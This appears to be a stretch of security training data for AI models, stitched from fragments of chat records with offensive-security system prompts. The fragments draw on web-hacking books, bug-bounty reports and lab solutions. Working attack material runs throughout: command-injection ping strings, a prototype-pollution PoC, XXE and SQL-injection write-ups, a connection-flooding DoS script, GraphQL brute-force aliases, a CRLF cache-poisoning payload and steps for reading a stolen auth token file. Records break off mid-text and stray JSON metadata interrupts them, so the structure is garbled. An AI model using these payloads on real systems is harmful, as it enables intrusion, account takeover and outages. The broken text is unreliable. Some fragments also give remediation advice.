You can normally use the ping command as a means of triggering a time\n delay by causing the server to ping its loopback interface for a specific\n period. There are minor differences between how Windows and UNIX-\n based platforms handle command separators and the ping command.\n However, the following all-purpose test string should induce a 30-second\n time delay on either platform if no filtering is in place:\n || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &\n\n To maximize your chances of detecting a command injection flaw if the\n application is filtering certain command separators, you should also sub-\n mit each of the following test strings to each targeted parameter in turn\n and monitor the time taken for the application to respond:\n | ping –i 30 127.0.0.1 |\n | ping –n 30 127.0.0.1 |\n & ping –i 30 127.0.0.1 &\n & ping –n 30 127.0.0.1 &\n ; ping 127.0.0.1 ;\n %0a ping –i 30 127.0.0.1 %0a\n ` ping 127.0.0.1 `\n\n 2. If a time delay occurs, the application may be vulnerable to command\n injection. Repeat the test case several times to confirm that the delay was\n not the result of network latency or other anomalies. You can try changing\n the value of the -n or -i parameters and confirming that the delay expe-\n rienced varies systematically with the value supplied.\n 3. Using whichever of the injection strings was found to be successful, try\n injecting a more interesting command (such as ls or dir). Determine\n whether you can retrieve the results of the command to your browser.\n 4. If you are unable to retrieve results directly, you have other options:\n n You can attempt to open an out-of-band channel back to your computer.\n\nUse these techniques only on systems you are authorized to test; capture evidence and include remediation in your report."}], "metadata": {"source": "raunaksplanet_cybersecurity_store", "source_author": "Raunak (Raunaksplanet)", "domain": "web_appsec", "category": "Back-End Components", "cwe": "", "category_type": "scenario", "chapter": "Ch10: Attacking Back-End Components", "difficulty": "intermediate", "record_id": "21ee0e35defe370c", "response_length": 328, "num_turns": 3, "source_repo": "https://github.com/Raunaksplanet/My-CyberSecurity-Store/", "license": "review-upstream", "file": "Books/The Web Application Hackers Handbook 2nd Edition.pdf", "training_source": "web_offensive_elite_v2_sft", "signal": true, "dataset_key": "e4971eb01b96f2702e38f8505a1b4007f732b3c2b58a51c81c5758510effce87", "split": "valid", "merged_collection": "security-sft", "merged_from_split": "signal", "grounding": "authored_curated", "provenance": "upstream", "has_think": false}} {"messages": [{"role": "system", "content": "You are an offensive security specialist.

Run the following: `console.table({foo: 'bar'}, ['__proto__'])`\n 2. Verify that the object prototype has been polluted: `Object.prototype[0] === ''`\n\nThe pollution will vary depending on the number of properties on the object passed as the first parameter, with each additional property assigning another incrementing index of the object prototype. This means that if the first parameter is also controlled by the attacker, it is possible to assign empty strings from `0..n` to the object prototype, for any `n`:\n\n```\n> console.table({a: 1, b: 1, c: 1}, ['__proto__'])\nUncaught TypeError: Cannot create property '0' on string ''\n\n> Object.prototype\n[Object: null prototype] { '0': '', '1': '', '2': '' }\n```\n\nThe vulnerable assignment can be found [here](https://github.com/nodejs/node/blob/3f7dabdfdc9e2a3cd3f92e377755c0dd43f6751b/lib/internal/console/constructor.js#L576) in the Node.js `console.table` implementation.\n\nA suggested remediation is to ignore `properties` named `'__proto__'`, or to use a different data structure to store the computed table fields. For example:\n\n```diff\n const keys = properties || ObjectKeys(item);\n for (const key of keys) {\n+ if (key === '__proto__') {\n+ continue\n+ }\n if (map[key] === undefined)\n map[key] = [];\n```\n\n## Impact:\n\nUsers of `console.table` have no reason to expect the danger of passing on user input to the second `properties` array, and may therefore do so without sanitation. In the even that for example a web server is exposed to this vulnerability, it is likely to be a very effective denial of service attack. In extremely rare cases the prototype pollution can lead to more severe attack vectors such as bypassing authorization mechanisms, although due to limited control of the pollution this is unlikely.\n\n## Supporting Material/References:\n\n * [CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')](https://cwe.mitre.org/data/definitions/1321.html)\n * [The vulnerable assignment](https://github.com/nodejs/node/blob/3f7dabdfdc9e2a3cd3f92e377755c0dd43f6751b/lib/internal/console/constructor.js#L576)\n\n## Impact\n\nUsers of `console.table` have no reason to expect the danger of passing on user input to the second `properties` array, and may therefore do so without sanitation.

For example, in a function that displays an application page, the\n request might contain the parameter PageNo=10069.\n n The server’s response to this request varies in a systematic way when you\n vary the parameter’s value. For example, if a valid PageNo is requested,\n the server might return a response containing the specified document’s\n contents. If an invalid value is requested, it might return a generic error\n message.\n\nUse these techniques only on systems you are authorized to test; capture evidence and include remediation in your report.

A thorough explanation can be found in the report below.\n\n**Root Cause:**\nHackerOne.com has a GraphQL endpoint that the frontend uses to query its backend. When the embedded submission form feature was introduced, a design decisions was made to leverage a GraphQL parameter rather than an input field. Input fields are properly sanitized. However, GraphQL parameters, were not. These GraphQL parameters were not designed to take raw user input. Here's the vulnerable piece of code:\n\n```ruby\nunless database_parameters_up_to_date\n safe_query = ''\n\n new_parameters.each do |key, value|\n safe_query += \"SET SESSION #{key} TO #{value};\" # <-- 😮\n end\n\n begin\n connection.query(safe_query)\n rescue ActiveRecord::StatementInvalid => e\n # NOTE: when the transaction is aborted, we cannot set or reset any parameters.\n # Changes of previous SET statements are undone as well, so we can safely do\n # nothing here\n raise e unless e.cause.is_a? PG::InFailedSqlTransaction\n end\nend\n```\n\nThe reason why we have to pass down these parameters to the PostgreSQL query level, is because HackerOne.com's database has two separate schemas. The `public` schema, which is where all the data resides and what we call the `secure` schema. The latter is a set of derived views from the `public` schema that returns data based on the currently signed in user (or signed out, for that matter). By default, GraphQL queries the `secure` schema. These derived views are automatically generated based on authorization logic we define in our GraphQL layer. This reduces the changes of information disclosure vulnerabilities, such as IDOR and SQL injections. Even when an attacker were to be able to query the `secure` schema, it'd reduce the number of exposed records significantly.\n\n**Remediation:**\nUse parameterized queries or prepared statements exclusively. Never concatenate user input into SQL. Apply least-privilege database permissions."}], "metadata": {"id": 435066, "class": "sqli", "severity_rating": "critical", "cwe": "CWE-89", "program": "security", "quality_score": 10, "source": "h1", "is_negative": false, "is_paraphrased": false, "rejection_reason": null, "training_source": "h1", "dataset_key": "545634cec51c1c67ffaa0919699bba070afa7fb19dc29bbc12e669b3fc5b22c8", "split": "train", "merged_collection": "curated_clean", "merged_from_split": "train", "grounding": "real_report", "license": "review-upstream", "provenance": "upstream", "has_think": false}} {"tools": [{"type": "function", "function": {"name": "curl", "description": "HTTP request; returns status/headers/body.", "parameters": {"type": "object", "properties": {"args": {"type": "array", "items": {"type": "string"}}}, "required": ["args"]}}}], "messages": [{"role": "system", "content": "You are Horus, a senior web application security researcher focused on authorized bug-bounty work.

We will present a series of real-world examples, each of which manifests a\n different kind of logical defect. Together, they illustrate the variety of assumptions\n\nc11.indd 405 8/19/2011 12:11:44 PM\n\n Stuttard c11.indd V2 - 07/26/2011 Page 406\n\nUse these techniques only on systems you are authorized to test; capture evidence and include remediation in your report."}], "metadata": {"source": "raunaksplanet_cybersecurity_store", "source_author": "Raunak (Raunaksplanet)", "domain": "web_appsec", "category": "Back-End Components", "cwe": "", "category_type": "payload", "chapter": "Ch10: Attacking Back-End Components", "difficulty": "intermediate", "record_id": "293c7e5848732122", "response_length": 223, "num_turns": 3, "source_repo": "https://github.com/Raunaksplanet/My-CyberSecurity-Store/", "license": "review-upstream", "file": "Books/The Web Application Hackers Handbook 2nd Edition.pdf", "training_source": "web_offensive_elite_v2_sft", "signal": true, "dataset_key": "847d2d253a8f96924c6acebe8941c335b6cf2c01b4646183998c805207db8920", "split": "train", "merged_collection": "security-sft", "merged_from_split": "signal", "grounding": "authored_curated", "provenance": "upstream", "has_think": false}} {"messages": [{"role": "system", "content": "You are a web security researcher and educator.

That check is bypassable with `../` traversal into existing prefix-matching sibling directories, enabling writes outside the intended output directory.\n\n## Steps To Reproduce:\n1. First of all, build the protodump\n2.

Without this facility, the application\n would need to treat all users as anonymous — the lowest possible level of trust.\n The majority of today’s web applications employ the conventional authen-\n tication model, in which the user submits a username and password, which\n the application checks for validity.

So I craft a payload serializing a *ConfigFile* object with XML in *config_raw* attribute, as __toString() method calls parse() witch then calls loadXML with libxml_disable_entity_loader ENABLED. So, we could obtain XXE and SSRF.\n\nUsing PHP to create the payload:\n```\n\n\n]>\n&xxe;AXML\n\";}i:1;O:11:\"Maintenance\":0:{}}\n```\n\nFile: xml2\n```\n\n\n]>\n&xxe;AXML\n```\n\nThen using the serialized object above (ConfigFile), I uploaded my memepak using /import_memes_2.0.php and got the /etc/issue file base64 encoded as one of my memes.\n\n\n__SSRF__\n\nUsing the above XXE we could manipulate the server to do requests for others internal services, as noted at source code there is a Maintenance service somewhere.\n\nUsing the python exploit attached {F352404}, I could read files and do http/ftp requests. Although I could do a port scan using http/ftp/sftp requests, I was able to find the internal service using a process ID scan using /proc/{ID}/cmdline, which revealed:\n\n```\n/proc\n1\nps-run\n\n4\n/bin/bash/opt/run/ctf-entrypoint\n\n6\nssh-i/app/92df63a566f599a094153febb133b99f87a161b5-oStrictHostKeyChecking=no-f-N-L1337:localhost:1337maintenance@[REDACTED_PHONE]\n\n8\n/bin/sh/usr/sbin/apache2ctl-DFOREGROUND\n```\n\nSo I found a ssh tunnel to another service at [REDACTED_PHONE].

This script is used by WordPress to perform scheduled tasks, such as publishing scheduled posts, checking for updates, and running plugins.\n\nAn attacker can exploit this vulnerability by sending a large number of requests to the wp-cron.php script, causing it to consume excessive resources and overload the server. This can lead to the application becoming unresponsive or crashing, potentially causing data loss and downtime.\n\nI found this vulnerability at https://████████ endpoint.\n\n## References\n\nhttps://developer.wordpress.org/plugins/cron/\n\n## Impact\n\nA successful attack on this vulnerability can result in the following consequences:\n\n - Denial of Service (DoS) attacks, rendering the application unavailable.\n - Server overload and increased resource usage, leading to slow response times or application crashes.\n - Potential data loss and downtime.\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1.

Access your website's root directory via FTP or cPanel File Manager.\n 2. Locate the wp-config.php file and open it for editing.\n 3. Add the following line of code to the file, just before the line that says \"That's all, stop editing! Happy publishing.\":\n```\ndefine('DISABLE_WP_CRON', true);\n```\n 4. Save the changes to the wp-config.php file.\n 5. Set up a server-side cron job to run the wp-cron.php script at the desired interval. This can be done using the server's control panel or by editing the server's crontab file.\n\n\n\n**Steps to Reproduce:**\n1. Get the doser.py script at https://github.com/Quitten/doser.py\n2.

This leads to a leak of file descriptors. If a file descriptor limit is configured on the system, then the server is unable to accept new connections and prevent the process also from opening, e.g. a file. If no file descriptor limit is configured, then this lead to an excessive memory usage and cause the system to run out of memory.\n\n**Description:**\nIf an attacker can establish an arbitrary amount of connections to the server and achieves that no session is instantiated by sending data causing the `unknownProtocol` event, then the socket is immediately closed by returning an error message.\n\nIf the attacker closes the socket before this can happen or simply do not respond to the response, the node process starts leaking file descriptors and the memory consumption increases dramatically. Node will wait for the response to the `unknownProtocol` message, which will never come.\n\nTo solve this issue we registered to the `unknownProtocol` event and had to implement two things:\n\n1. Call `socket.end()` without returning data, which seems to solve the problem partially. The amount of leaked file descriptors decreased dramatically but it is still leaking.\n2. Starting a timer and force a `socket.destroy()` after the timeout.\n\nOur current workaround for the problem looks like this:\n\n```\nserver.on('unknownProtocol', socket => {\n // Install a timeout of 10 second if the socket was\n // not successfully closed, then destroy the socket\n // to ensure that the underlying resources are released.\n const timer = setTimeout(() => {\n if (!socket.destroyed) {\n socket.destroy();\n }\n }, 10000);\n // Un-reference the timer to avoid blocking\n // of application shutdown and clear the timeout\n // if the socket was successfully closed.\n timer.unref();\n\n // ATTENTION: Do not use the cb from the end call,\n // because this also causes leaks!\n socket.once('close', () => clearTimeout(timer));\n\n // Try to gracefully close the socket\n // ATTENTION: The default implementation provides an error\n // message to the client, but if the client does not respond\n // this causes the graceful close to fail. Therefore the\n // socket is closed here without any message.\n socket.end();\n});\n```\n\nOnce the node process reached the file descriptor limit of the system it is not possible to establish any new connection to the server. Next the process cannot not do any other operations that require a new file descriptor (e.g. opening a file). If the system has no file descriptor limit, then the process will continue consuming memory until the system has none left.\n\n## Steps To Reproduce:\n\nThe following steps assume you are on a linux system. Everything will run on your host system. The IP in the client is hard-coded to `127.0.0.1` and the port is `50000`. The scripts are kept as simple as possible. \n\n1. Create a file `client.sh` with the content provided in the Supporting Material section below (don't start it now)\n2. Create the Javascript file (see Supporting Material section below) and run the example server (may you want to customize the port). You can also start a non-secure server using `createServer()` if you don't have an example key or cert around.\n3. You query the file descriptors with the command provided in the Supporting Material section below. Simply replace `{PID}` with the process id of your node server.\n4. Maybe you also want to watch the memory consumption with the tool you prefer.\n5. Now you are ready to start the client script.\n\nWe initially found this issue by running the Greenbone Vulnerability Manager on our server port with the **OvenVAS default** scanner, the **Fast and ultimate** configuration with all kind of vulnerability tests enabled and the **TCP-SYN Service Ping** alive check.\n\nThe affected code that causes this issue seems to be [here](https://github.com/nodejs/node/blob/c0ac692ba786f235f9a4938f52eede751a6a73c9/lib/internal/http2/core.js#L2918-L2929).\n\nWe are running on Linux x86 with kernel v4.19.148 with node v12.19.0.\n\n## Impact:\nAny code that relies on the http2 server is affected by this behaviour. For example the JavaScript implementation of GRPC also uses a http2 server under the hood.\n\nThis attack has very low complexity and can easily trigger a DOS on an unprotected server.\n\nThe above server example consumes about 6MB memory after start-up. Running the described attack causes a memory consumption of more than 400MB in approximately 30s and holding more than 7000 file descriptors. Both, the file descriptors and the memory, are never freed.\n\n## Supporting Material/References:\n\nclient.sh\n```\n#!/bin/bash\n\nrequest=\"GET / HTTP/1.1 Host: Anything\"\n\nwhile true;\ndo\n echo $request | openssl s_client -connect 127.0.0.1:50000 > /dev/null 2>&1 &\ndone\n```\n\nJavascript File\n```\nconst http2 = require(\"http2\");\nconst fs = require(\"fs\");\n\nconst port = 50000;\n\nprocess.on('uncaughtException', error => {\n console.log('An uncaught exception occurred:', error)\n});\n\nprocess.on('unhandledRejection', reason => {\n console.log('An unhandled rejection occurred:', reason)\n});\n\nprocess.on('warning', warning => {\n console.log('A process warning occurred:', warning)\n});\n\nfunction onRequest(req, res) {\n console.log('got request')\n}\n\nconst serverOptions = {\n key: fs.readFileSync(__dirname + \"/key.crt\"),\n cert: fs.readFileSync(__dirname + \"/cert.crt\")\n};\n\nhttp2\n .createSecureServer(serverOptions, onRequest)\n .listen(port, () => {\n console.log(\"http2 server started on port\", port);\n })\n .on('error', (err) => console.log(err))\n```\nQuery file descriptors command\n```\nls -l /proc/{PID}/fd | wc -l && ls -l /proc/{PID}/map_files | wc -l\n```\n\n\nIf you need anything else let us know.\n\n## Impact\n\nAny code that relies on the http2 server is affected by this behaviour.

The impact at this point is that I can DOS any SSO integration making it so nobody in that organization can login. I can also get users to inadvertently SSO into my attacker organization, and then take over their account from there. For existing accounts this would require a victim to click \"join\", however I think that's likely given the fact that they are SSOing for the first time expecting to join an organization.\n\nThe strange behavior and why I think it *might* be possible to escalate further, is that I can have you authenticate against one SSO instance, but have you get added to a completely separate one. So that means there is some sketchy logic which can potentially allow an attacker to authenticate against their own SSO instance, and get added to someone else's organization. I'm not sure if it's possible to get this with zero user interaction, but I will keep trying and update the report if I figure out a way.\n\nThe bug stems from the fact that you can create an `entityId` identical to that of another organization **except** with a space ` ` at the end. The application logic then prioritizes that new entityId to add the user to after authenticating against the correct one. So if you have `myentity` as the legitimate entity, and an attacker sets their entity to `myentity[SPACE]` (with a space at the end); users attempting to authenticate into the legitimate `myentity` will technically authenticate against it, but then the application attempts to log them into the attacker's organization. The result of this is a DOS since legitimate users can no longer access their organization. The interesting part of the bug is that if the user is deleted from their original organization (or a **new** user attempts to SSO), they will then be authenticating against their original organization, but get added into the attacker's organization. So it seems the SAML Response is checked against a `trim(issuer)`, but when trying to place the user into an organization, the entity with the space is always prioritized.\n\nThe steps below will demonstrate this behavior:\n\n## Steps To Reproduce:\n1. Setup SSO and confirm you can login.\n2. Create a **new** Grammarly business account and use the same `entityId` (Identity Provider Issuer) you used in step 1, except add a space to the end of it. Use a different keypair for this organization as well.\n3. Wait 2 minutes for the change to propagate, then try logging into the same account from step 1, and notice you now get an error.\n4. At this point the victim organization is DOS'd. To confirm the strange behavior discussed above, you can delete that user from the victim organization and attempt to login again. Notice you will now end up getting provisioned to the attacker's organization, even though you signed the SAML Response with the victim organization's private key.\n5. Once you are provisioned into the attacker's organization, the attacker can then change their `entityId` to something brand new, and login to the victim's account using the keypair they own. If this was a converted personal account, you can then access that user's personal documents.\n\n## Impact\n\n- Ability to effectively disable SSO for any organization.\n- Ability to get users provisioned into an attacker's account, which they can then takeover.\n\nThanks,\n-- Tanner\n\nThis issue falls under Improper Authentication - Generic and carries a high severity rating based on its exploitability and potential impact.\n\n**Steps to Reproduce:**\n1.

It is enforced by an API provider’s web servers, firewall, or web application firewall and serves two important pur poses for API providers: it allows for the monetization of APIs and prevents the overconsumption of the provider’s resources.\n\n## Key points\nBecause rate limiting is an essential factor that allows organizations to monetize their APIs, you should include it in your scope during API engagements. For example, a business might allow a free-tier API user to make one request per hour. Typically, once that request is made, the consumer would be kept business a fee, they could make hundreds of requests per hour. Without adequate controls in place, these non-paying API consumers could find ways to skip the toll and consume as much data as often as they please. testing consists of attacks that are intended to disrupt services and make the systems and applications unavailable to users.\n\n## Additional notes\nImportantly, whereas DoS testing is meant to assess how resilient an organization’s computing resources are, rate limit testing seeks to bypass restrictions that limit the quantity of requests sent within a given time frame. Attempting to bypass rate limiting will not necessarily cause a disruption to services. Importantly, instead, bypassing rate limiting could aid in other attacks and demonstrate a weakness in an organization’s method of monetizing its API. Typically, an organization publishes its API’s request limits in the API documentation.\n\n## Remediation ideas\n1.

A malicious or man-in-the-middle MariaDB server that selects the `parsec` plugin can set `iterations = 20`, forcing `1024 << 20 = 1,073,741,824` (~1.07e9) rounds of PBKDF2-HMAC-SHA512 during the handshake, pinning a client CPU core for ~25 minutes per connection attempt before authentication completes. This is a regression introduced by commit b7766de, which loosened the cap from `> 3` (old maximum `1024 << 3 = 8192` rounds) to `> 20`.\n\n### Root cause\n\n`ParsecPasswordPlugin.java`:\n\n```java\n 64 if (buf.readableBytes() > 2) {\n 65 firstByte = buf.readByte();\n 66 iterations = buf.readByte(); // fully server-controlled\n 67 }\n 68\n 69 if (firstByte != 0x50 || iterations > 20) { // only upper bound\n 70 throw new R2dbcNonTransientResourceException(...);\n 71 }\n ...\n104 PBEKeySpec spec = new PBEKeySpec(password, salt, 1024 << iterations, 256);\n105 SecretKey key = SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA512\").generateSecret(spec);\n```\n\n`iterations` is taken from the server's ext-salt reply (authMoreData) and is fully attacker-controlled. The `parsec` plugin is registered in `META-INF/services`, and the server chooses the authentication plugin during the handshake. `restrictedAuth` defaults to null (no client-side allow-list), so the driver runs `parsec` whenever the server asks. The exchange happens before authentication is established. The driver also defaults to `sslMode=DISABLE` (plaintext), exposing it to an active MITM.\n\n### Steps To Reproduce\n\nEnvironment: JDK 21, the project's own build (`mvn -o -DskipTests package` producing `r2dbc-mariadb-1.4.1.jar`).\n\n**Proof 1 - End-to-end rogue server** (`RogueParsecServer.java` attached):\n\nA rogue MariaDB server speaks the wire protocol through the parsec ext-salt exchange, then sends a malicious `iterations` byte. It measures server-side how long the real `MariadbConnectionFactory.create()` is stuck computing PBKDF2. The same server differs only in that one byte:\n\n1. Compile and run the rogue server:\n```bash\njavac -cp r2dbc-mariadb-1.4.1.jar:reactor-core.jar:r2dbc-spi.jar RogueParsecServer.java\njava -Djava.security.egd=file:/dev/urandom -cp .:r2dbc-mariadb-1.4.1.jar:reactor-core.jar:r2dbc-spi.jar:reactive-streams.jar:netty-*.jar RogueParsecServer\n```\n\n2.

No valid credentials are needed, and the default `sslMode=DISABLE` exposes the handshake to network-level MITM.

However, if anything goes wrong when generating, processing, or handling tokens, they’ll become our keys to the kingdom.\n\n## Key points\nThe problem with tokens is that they can be stolen, leaked, and forged. We’ve already covered how to steal and find leaked tokens in Chapter 6. In this section, I’ll guide you through the process of forging your own tokens when weaknesses are present in the token generation process. This requires first analyzing how predictable an API provider’s token generation process is.\n\n## Additional notes\nIf we can discover any patterns in the tokens being provided, we may be able to forge our own or hijack another user’s tokens. APIs will often use tokens as an authorization method. A consumer may have to initially authenticate using a username and password combina tion, but then the provider will generate a token and give that token to the consumer to use with their API requests. If the token generation process is flawed, you can be able to analyze the tokens, hijack other user tokens, and then use them to access the resources and additional API functionality of the affected users.\n\n## Remediation ideas\n1.

Finally, we use the `fromCharCode` method generate our payload by converting character codes into the string `x=alert(1)`.

In Burp's browser, access the lab and select My account.\n2. Attempt to log in to the site using incorrect credentials.\n3. In Burp, go to Proxy > HTTP history. Note that login requests are sent as a GraphQL mutation.\n4. Right-click the login request and select Send to Repeater.\n5. In Repeater, attempt some further login requests with incorrect credentials. Note that after a short period of time the API starts to return a rate limit error.\n6. In the GraphQL tab, craft a request that uses aliases to send multiple login mutations in one message. See the tip in this lab for a method that makes this process less time-consuming. Bear the following in mind when constructing your request: The list of aliases should be contained within a `mutation {}` type. Each aliased mutation should have the username `carlos` and a different password from the authentication list. If you are modifying the request that you sent to Repeater, delete the variable dictionary and `operationName` field from the request before sending. You can do this from Repeater's Pretty tab. Ensure that each alias requests the `success` field, as shown in the simplified example below: ` mutation { bruteforce0:login(input:{password: \"123456\", username: \"carlos\"}) { token success } bruteforce1:login(input:{password: \"password\", username: \"carlos\"}) { token success } ... bruteforce99:login(input:{password: \"12345678\", username: \"carlos\"}) { token success } } `\n7. Click Send.\n8. Notice that the response lists each login attempt and whether its login attempt was successful.\n9. Use the search bar below the response to search for the string `true`. This indicates which of the aliased mutations was able to successfully log in as `carlos`.\n10. Check the request for the password that was used by the successful alias.\n11. Log in to the site using the `carlos` credentials to solve the lab.\n\n## Vulnerability note\n\nUnderlying issue: GraphQL API vulnerabilities (CWE-943).

Regarding Shell Invocation: what does thorough assessment require?"}, {"role": "assistant", "content": "From a software security assessment perspective (Chapter 18: Web Technologies — Java), here is how auditors handle Shell Invocation.\n\nShell invocation is a seldom used feature of the Java runtime environment. Java\nprograms can access this feature by calling the getruntime() method of\njava.lang.Runtime. This Runtime object supports a few overloaded versions of the\nexec() method. It's a true exec() system call and doesn't implicitly open a shell to\ninterpret the supplied command. Developers often open the shell explicitly with the\nappropriate option to take a command from the command line (such as cmd /c in\nWindows). The following code could be vulnerable, depending on the amount of\ninfluence users wielded over the command variable:\n\nRuntime runtime = Runtime.getRuntime();\n Process process = null;\n try {\n process = runtime.exec(command);\n\nFile Inclusion\n\nJava servlets support a rich set of functionality for intraservlet coordination and\ncommunication, which is integral to integration with JSPs. When a servlet must\ntransfer control to another servlet or JSP, it obtains a RequestDispatcher object first\nthat facilitates control-flow transfer. RequestDisatcher objects expose two methods:\ninclude() and forward().\n\nThe forward() method is used when a servlet is done processing the request data and\nis ready to hand off control to another servlet or JSP. This situation is fairly common\nwhen presentation and business logic are well confined to separate components. A\nservlet might process the HTTP input, make several database calls, do some\nprocessing, and then fill out several variables attached to the request attributes. This\nservlet could then hand control over to a JSP page that knows how to take the\nvariables in request attributes and turn them into stylish HTML content.\n\nThe include() method is more a mechanism for embedding code in a currently\nrunning JSP or servlet. It's used more often when you've divided code into\nmanageable pieces and want to call one of those pieces in the right place to do its job.\nFor example, you might have a layered menu system that dynamically draws itself\nbased on XML configuration files. One way to render submenus from within the main\nmenu page is to use include() to call the code that handles presenting the submenu\non the main page.\n\nAs a code auditor, you should look for situations in which user-malleable input can\nmake it into the arguments provided during creation of the RequestDispatcher for\ninclude() or forward(). This situation can lead to security issues of differing degrees,\nbut even the capability to run existing files in the Web tree through the JSP compiler\nwould probably end up being useful to clever attackers."}], "metadata": {"source": "art_of_software_security_assessment", "source_author": "Mark Dowd, John McDonald, Justin Schuh", "domain": "web_appsec", "category": "web_technologies", "cwe": "", "category_type": "scenario", "chapter": "Chapter 18: Web Technologies", "difficulty": "intermediate", "record_id": "6b00b2c52dd51b7b", "response_length": 428, "num_turns": 3, "file": "book11.txt", "license": "review-upstream", "training_source": "web_offensive_elite_v2_sft", "signal": true, "dataset_key": "72db96366fd38556f800980e985a1ef12c1003904cdff93dc79a2255604ac226", "split": "train", "merged_collection": "security-sft", "merged_from_split": "signal", "grounding": "authored_curated", "provenance": "upstream", "has_think": false}} {"messages": [{"role": "system", "content": "You are an application security consultant.

Combine these four behaviors by poisoning the cache with following two requests: `GET /js/localize.js?lang=en?utm_content=z&cors=1&x=1 HTTP/2 Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$ GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2` Note that the injected origin header is lower case to comply with the HTTP/2 specification.\n6. This will poison `/login?lang=en` such that it redirects to a login page with a poisoned localization import that executes `alert(1)`, solving the lab.\n\n## Vulnerability note\n\nUnderlying issue: Web cache poisoning (CWE-444).

Thanks for submitting a report to Amazon Web Services! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\n**Description:** Kiro IDE (v0.11.107) writes authentication tokens (access token + refresh token) to `~/.aws/sso/cache/kiro-auth-token.json` with file permissions `0644` (world-readable). Any local process or user can read the file and steal the bearer [REDACTED_TOKEN], which grant full access to the CodeWhisperer/Q Developer API (agentic chat, code generation, account operations).\n\nThis is inconsistent with AWS's own behavior: the AWS CLI stores its SSO tokens in the same directory with `0600` permissions. Kiro itself uses the macOS Keychain (via VS Code `secretStorage`) for MCP OAuth credentials, proving the secure pattern is known and available in the codebase.\n\nThis is one of six vulnerabilities I am reporting in Kiro IDE. Related submissions cover: extension-to-agent privilege escalation (CWE-862), hook command injection (CWE-78), askAgent forced Autopilot bypass (CWE-862), MCP workspace config override (CWE-78/CWE-862), and symlink token redirect (CWE-59). Line numbers reference the minified extension.js in Kiro v0.11.107 (build 672afb51e5336b149eb9fc381dd6db6908edbc61).\n\n## Steps To Reproduce:\n\n1. Authenticate to Kiro normally (sign in via GitHub or AWS Builder ID).\n\n2. Check the token file permissions:\n```\nstat -f \"%Op %Sp %N\" ~/.aws/sso/cache/*.json\n```\nOutput:\n```\n100600 -rw------- ~/.aws/sso/cache/REDACTED_HASH_1.json (AWS CLI - correct)\n100600 -rw------- ~/.aws/sso/cache/REDACTED_HASH_2.json (AWS CLI - correct)\n100644 -rw-r--r-- ~/.aws/sso/cache/kiro-auth-token.json (Kiro - world-readable)\n```\n3. Confirm the file contains plaintext credentials:\n```\ncat ~/.aws/sso/cache/kiro-auth-token.json\n\n{\n \"accessToken\": \"aoaAAAAAGnFf...\",\n \"refreshToken\": \"aorAAAAAGo8F...\",\n \"profileArn\": \"arn:aws:codewhisperer:us-east-1:REDACTED:profile/REDACTED\",\n \"expiresAt\": \"[REDACTED_PHONE]T18:44:44.275Z\",\n \"authMethod\": \"social\",\n \"provider\": \"Github\"\n}\n```\n4. Confirm Node.js default creates 0644:\n```\nnode -e \"const fs=require('fs'); const p='/tmp/test.json'; fs.writeFileSync(p,'test'); console.log((fs.statSync(p).mode & 0o777).toString(8)); fs.unlinkSync(p);\"\n# Output: 644\n```\n\n## Impact\n\n## Summary:\nThe stolen token grants access to CodeWhispererRuntimeClient operations: CreateSession, SendMessage (full agentic chat), GenerateCompletions, ListAvailableModels, GetUsageLimits, CreateSubscriptionToken, CreateArtifactUploadUrl. An attacker can impersonate the victim, consume their credits, exhaust free tier limits, and access code context from the victim's sessions.\n\nMost realistic attack vector: A malicious or typosquatted Kiro/VS Code extension reads the world-readable token file and exfiltrates it. Kiro's extension host runs with allow-unsigned-executable-memory and disable-library-validation entitlements, and extensions run with the user's full permissions.\n\nRoot Cause: The TokenStorage class (extension.js, line 504375) uses fs.writeFileSync() without a mode parameter, defaults to 0666, masked by umask 022 = 0644. No post-write chmod is applied.\n\nRecommended Fix: Add { mode: 0o600 } to writeFileSync, or migrate to VS Code secretStorage (OS Keychain) consistent with the existing MCP OAuth credential storage path.\n\nFor awareness, we plan to publish a blog post detailing these findings after remediation. We are happy to share a draft ahead of publication and coordinate on timing. We would appreciate coordination on public disclosure timing, including whether AWS plans to publish a Security Bulletin consistent with the handling of CVE-2026-0830 and CVE-2026-4295.\n\n**Steps to Reproduce:**\n1.

These APIs are provided by creating a shared library or dynamic link library\n(DLL) in C or C++ that's loaded into the Web server at runtime. These Web server\nextensions can be used for creating dynamic content, as Web requests can be passed\nto developer-supplied functions that process them and generate responses. These\nextensions also allow global modification of the server, so developers can perform\nanalysis or processing of every request the server handles. These APIs allow far more\ncustomization than an interface such as CGI because Web developers can alter the\nbehavior of the Web server at a very granular level by manipulating shared data\nstructures and using control APIs and callbacks. Here are the common interfaces:\n\n Internet Server Application Programming Interface (ISAPI) Microsoft provides\n this API for extending the functionality of its Internet Information Services\n (IIS) Web server. ISAPI filters and DLLs are often found in older\n\ncommercial software packages.\n  Netscape Server Application Programming Interface (NSAPI) Netscape's Web\n server control API can be used to extend Netscape's line of servers and Web\n proxies. It's occasionally used in older enterprise applications for global input\n validation as a first line of defense.\n  Apache API This API supports extension of the Apache open-source Web\n server via modules and filters.\n\nMany of the other Web programming technologies discussed in this chapter are\nimplemented on top of these Web server APIs. Modern Web servers are usually\nconstructed in an open, modular fashion. Therefore, these extension APIs can be used\n\nto make changes commensurate with what you'd expect from full source-code-based\nmodifications of the Web server.\n\nServer-Side Includes\n\nA Web server doesn't examine a typical static HTML document when presenting it to\na Web browser. The server simply reads the document from memory or disk and\nsends it out over the network without looking at the document's contents. Several\ntechnologies are based on slightly altering this design so that the Web server inspects\nand processes the document while it serves it to the client. These technologies range\nin complexity from simple directives to the Web server, to full programming language\ninterpreters embedded in the Web server.\n\nThe simplest and oldest form of server-side document processing is server-side\nincludes (SSIs), which are specially formatted tags placed in HTML pages. These\ntags are simple directives to the Web server that are followed as a document is\npresented to a user. As the Web server outputs the document, it pulls out the SSI tags\nand performs the appropriate actions. These tags provide basic functionality and can\nbe used to create simple dynamic content. Most Web servers support them in some\nfashion. Take a look at a few examples of SSIs. The following command prints the\nvalue of the Web server variable 